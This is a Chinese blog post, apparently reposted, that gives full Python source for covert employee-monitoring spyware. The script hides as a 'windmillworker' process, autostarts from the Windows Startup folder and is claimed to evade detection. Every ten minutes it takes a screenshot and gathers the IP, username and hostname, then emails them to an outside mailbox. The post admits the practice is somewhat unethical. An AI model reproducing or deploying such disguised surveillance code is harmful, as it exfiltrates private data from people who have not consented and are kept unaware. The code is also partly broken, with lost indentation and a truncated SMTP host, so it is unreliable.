admin管理员组文章数量:1558697
适用于公司防止摸鱼(虽然有点不道德),可使用pyinstaller工具打包,生成快捷方式,再放到
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 路径就可以实现开机自启动
能获取 时间, ip,用户名,计算机名
我采用的是伪装成windmillworker 不会有程序检测到
授权码获取方法:
这里以QQ邮箱为例,其他邮箱可百度
完整代码:
import time,os,socket,requests,smtplib
from PIL import ImageGrab
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
host_name = socket.gethostname()
user_name = os.getlogin()
ip = requests.get('http://ifconfig.me/ip', timeout=1).text.strip()
def run(title,text,img):
number = '发送的邮箱' # 必须和授权码的邮箱一致
sender = '接收的邮箱' # 可随便填
password = '授权码' # QQ邮箱申请的授权码
receivers = number
content = MIMEText(text, _subtype="html", _charset="utf-8")
msg = MIMEMultipart('related')
msg.attach(content)
imageFile = fr"{img}"
imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
imageApart.add_header('Content-Disposition', 'attachment', filename=imageFile)
msg.attach(imageApart)
msg['Subject'] = title
msg['From'] = sender
msg['To'] = receivers
try:
server = smtplib.SMTP('smtp.qq')
server.login(sender, password)
server.sendmail(msg['From'], msg['To'].split(','), msg.as_string())
print(f'发送成功')
except smtplib.SMTPException as e:
print(f'发送失败{e}')
while True:
ImageGrab.grab().save(r"img.png")
info = f'时间:{time.strftime("%Y-%m-%d %H:%M:%S")}\nip:{ip}\n用户名:{user_name}\n计算机名:{host_name}'
run(f'{user_name}',f'{info}','img.png')
os.remove('img.png')
time.sleep(600) # 这里可根据需求自行设置时间
版权声明:本文标题:Python实现电脑监视器,防止摸鱼,可实现定时截屏并发送到指定邮箱 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1727401999a1112962.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论